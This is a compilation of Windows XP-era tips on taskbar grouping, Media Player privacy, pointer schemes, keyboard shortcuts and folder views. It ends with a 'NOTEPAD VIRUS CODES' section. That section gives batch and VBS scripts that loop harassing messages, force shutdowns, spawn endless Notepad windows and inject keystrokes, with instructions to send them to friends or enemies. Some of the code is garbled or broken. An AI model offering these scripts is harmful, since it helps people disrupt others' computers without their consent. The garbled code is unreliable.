Group and Ungroup Similar Taskbar Items

Just open three or four Internet Explorer windows and you won't see them all in a
row on your Taskbar, as you did in previous versions of Windows. By default,
Windows XP groups similar items on one button. For example, if you have 3 Internet
Explorer windows open, you'll see an Explorer item with the number 3 on it. Click it
to see a pop-up list of those windows, then select the one you want.
If you would like, Windows XP will display all open windows separately on the
Taskbar. Right click a blank area of the Taskbar and select Properties. Under Taskbar
Properties, deselect Group Similar Taskbar Buttons, then click OK.

Protect your identity

Like many other audio players, Windows Media Player rushes out to the Internet to
find information for you when you play a CD. Some of this information, such as song
titles and album art, is useful, but Media Player also identifies your copy of Media
Player to the site where it's getting data. Why? According to the help file, "The server
uses this unique identifier to monitor your connection. By monitoring your
connection, the server can make adjustments to increase the playback quality and to
alert you about events that occur when receiving streams over the Internet."
If you're disturbed by this exchange of information, here's how to stop it. In
Windows Media Player, click Tools > Options and go to the Player tab. Notice the
option that says "Allow Internet sites to uniquely identify your player?" Turn it off.

Know your rights

Windows XP comes bundled with Windows Media Player 8.0. While Media Player
plays just about any digital media file format--it supports 35, including MP3, it
records music only in the Windows Media Audio, or WMA, format. The reason?
Content protection.
When recording, or ripping, music from CDs, Media Player allows you to make
protected recordings so that no one will be able to copy the recording from one
computer to another. You can turn copy protection on or off on the Copy Music tab
by checking or unchecking the box that says Protect Content.

Change Out Your Pointer Scheme

Tired of seeing your pointer as an arrow or an hourglass all the time? Windows XP
offers a number of alternative pointer schemes, such as Dinosaur, Ocean and Sports.
Open the Control Panel, double-click Mouse, and select the Pointers tab. (If you start
in Category view, select Appearance and Themes, then click Mouse Pointers under
"See Also.") Next to Schemes, click the down arrow and select a scheme to preview
its pointers. Click OK to apply the scheme to your desktop. Simple as that.

The Best Computer Tips And Tricks

Keyboard Shortcuts for Windows Vista and XP and Microsoft Office
 
Windows Key+E
The best part about shortcut keys is letting your keyboard do half the work. This is a perfect example: This shortcut allows you to open Windows Explorer with one quick keystroke.

Windows Key+M
This is the shortcut to keep in mind when you are at work doing anything but working—it allows you to minimize all of your open windows, leaving just the desktop left exposed. To restore the windows, hit Windows key+Shift+M. Another quick way to do this is Windows key+D, which shows your desktop; to restore, just repeat the same keystroke. This is a handy shortcut to have around the next time your boss is wandering through the office.
 
Alt+Tab
This allows you to easily scroll through all the windows you have open. If you're working in Word and referring to something in Explorer, for example, you can toggle back and forth between the two programs. You can also use this to switch between windows in the same program, making multitasking a breeze. Very similar is Windows key+Tab: In XP, it lets you scroll the items on the taskbar, and in Vista, it starts Flip 3D for a fun graphical spin on the same idea.

Alt+F4
This shortcut is a quick way to close a window in any program. Alt+Spacebar+C (which requires less stretching, but more keys) and Ctrl+W do the same thing. Any of the ways will allow you to close a window without using your mouse to hit the X in the upper-right corner. 

Ctrl+Arrow Keys
In Microsoft Word, the left and right arrows allow you to move the cursor to the beginning of the previous word or the next word; the up and down arrows will do the same with paragraphs. This is very helpful when editing a document or scanning for any reason.

Shift+Delete
f you want to delete a file—and you don't want to deal with it later in the Recycle Bin—this is the way to go. Just be absolutely sure that this is a file you won't want back!
 
Hold Shift While Inserting a CD
Have you ever wanted to insert a CD and not use it right away? This shortcut allows you to bypass Autorun when inserting a CD so you can control exactly when you will use a CD you've inserted.
 
Ctrl+Drag
There are many ways to copy a file, but this just might be the easiest. All you have to do is click on the file, hold, and drag it into its desired location. This works the same as another handy shortcut, Ctrl+C.
 
Windows Key+U+UQuickly shut down Windows by hitting the Windows key (don't hold it down), hitting U to reach the shutdown menu, and then hitting U again to shut down.
 
Windows Key+PauseNeed a quick way to get to the Systems Properties menu without too much thought? Just press these two keys and you'll be brought right to it. 

Ctrl+Z, Ctrl+Y
Undo an action by hitting Ctrl+Z; if you change your mind, Ctrl+Y will redo the undo.

Shift + Arrow Keys
Holding shift and pressing one of the arrow keys will highlight text in Word (or a group of Excel cells) without the mouse, selecting in the direction the arrow points.

Ctrl+U, Ctrl+B, Ctrl+I
This one's for Office newbies. It's a snap to underline, bold, and italicize without the mouse if you press Ctrl+U (underlining), Ctrl+B (bolding), or Ctrl+I (italicizing).

Any Folder As a Photo Folder

This tricks shows you how to setup any folder to display its contents as a photo folder. In many cases, you save your images/photos in a folder different than "My Pictures" (under "My Documents"). Since this folder you choose is just like any other normal folders, its contents displayed as a listing of files. You can temporary change it by just right-click and select "View" >> "Thumbnails". But if you want to change the folder so that everytime you come back, the folder itself, as well as all its subfolders, display the contents as photo thumbnails.

Here's How

Right-click on the folder you choose and select "Properties"

Select "Customize" Tab. Then under "Use this folder type as a template", select "Pictures (best for many files)"

Check on "Also apply this template to all subfolders" to apply the setting to subfoders as well

Click OK to exit

NOTEPAD VIRUS CODES

1. Cycle a message in your friend's computer:
open notepad and Type :
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
Save it as Anything.BAT and send it to ur frenz or enemy.

2. Convey your friend a lil' message and shut down his / her computer:
Type :
wx@echo off
msg * I don't like you
shutdown -c Error! You are too stupid! -s
 Save it as Anything.BAT in All Files and send it.

3.Open Notepad continually in your friend's computer:
Type :
@ECHO off
:top
START %SystemRoot%\system32
otepad.exe
GOTO top

Save it as Anything.BAT and send it.

4.Hack your friend's keyboard and make him type You are a fool simultaneously
Type :
Set wshShell = wscript.CreateObject(WScript.Shell)
do
wscript.sleep 100
wshshell.sendkeys You are a fool.
loop

Save it as Anything.VBS and send it.